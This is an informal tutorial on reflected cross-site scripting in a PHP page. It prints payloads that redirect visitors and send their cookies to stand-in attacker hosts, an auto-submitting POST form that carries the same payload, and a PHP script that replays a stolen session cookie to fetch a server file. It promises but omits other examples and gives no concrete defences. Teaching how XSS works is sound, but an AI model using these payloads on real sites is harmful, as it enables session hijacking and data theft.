XSS Attack

Cross site scripting(XSS) is relatively common problem in web application security but they are extremely dangerous. Rather than attacking the server directly they user a vulnerable web page to attack one of its users. This can lead to extreme difficulty in tracking attackers, when requests are not fully logged. Lets go in deep and find out how an vulnerable web page leads to an XSS attack? And how to make sure that there are no space left for XSS attack in the web sites we develop.

Then lets see how an XSS attack works? XSS attacks are results of flaws in server side web applications (that’s what we do…) and are rooted in user inputs which are not properly validated. For a example think about a PHP page named hello.php which is used to echo a parameter send to that file.

If you simply pass

hello.php?name=Praveen Gunasekara

Then the page will give you the expected result of printing the name. but guess what will happen if we send HTML tags on that request. For example.

hello.php?name=<ul><li>Praveen</li><li>Gunasekara</li></ul>

the input is not validated by the script before rendering by the victim’s web browser. And think about situations where we save the un-validated parameters into a database or a binary file and retrieved later to rendered on the page.

for the moment you might be wondering so what is Risk involved? think if the attacker can pass HTML tags it means he can easily pass <script> tags. then lets discuss how the attack works. as we all know we only submit data either by GET or the POST method. attacking through the GET method is the easiest and at the same time noisiest. because all most every web server logs all its URI requests.

so the simplest thing an attacker can do with javascript is to change the location of the window.

hello.php?name=<script>document.location.replace('http://attack/spam')</script>

but with the nature of XSS attacks the attacker him self cannot do any harms to other users. what he can only do is to wait till someone else connects to that page. so when someone else clicks in to this page he will be automatically redirected to some other page.

and now think about hi-jacking the user's whole session with this kind of attack. it's not harder as it sounds. what the attacker has to do is just to change the href of a particular link.

hello.php?name=<script>document.location.replace('http://attack/spam?c='%2Bdocument.cookie)</script>

so now you might say that the POST method is far more safer because the end user cannot see the parameters we are parsing from the script.

you are wrong. it is bit harder to attack on POST method. because to do that you need an intermediate web page having those parameters which are identically same to the form on the original page. for example,

<form name=f method=POST action=”http://host/hello.php”>
<input type=hidden name=”name” value=”<script>document.location.replace(‘http://attacker/payload?c=’+document.cookie)≪/script>”>
</form>
<script>f.submit()</script>

and rather than jumping the code, he might decide to change the look and feel and layout of the web page thats being attacked. but once he redirects the page to his own page there are several harmful things that can be done. for example the following code can log visitors IP, reffer and the sensitive information saved on the header.

and once the attacker has the list of IP's and cookies, he can write an automated script to connect to the IP with that session details, and to change the sensitive information there. the code below shows how to download the source code of a PHP file in the server.

<?php
$request = "GET /secret.php HTTP/1.0\r\n";
$request .= "Cookie: {$HTTP_GET_VARS['c']}\r\n";
$request .= "\r\n";
$s = fsockopen("host", 80, $errno, $errstr, 30);
fputs($s, $request);
$content = '';
while (!feof($s))
{
$content .= fgets($s, 4096);
}
fclose($s);
echo $content;
?>

and following example code shows how override a PHP file in the server.

so finally i hope everyone of us understood how dangerous XSS attacks can be and how we should write our web application with much more security capable.

Praveen Gunasekara.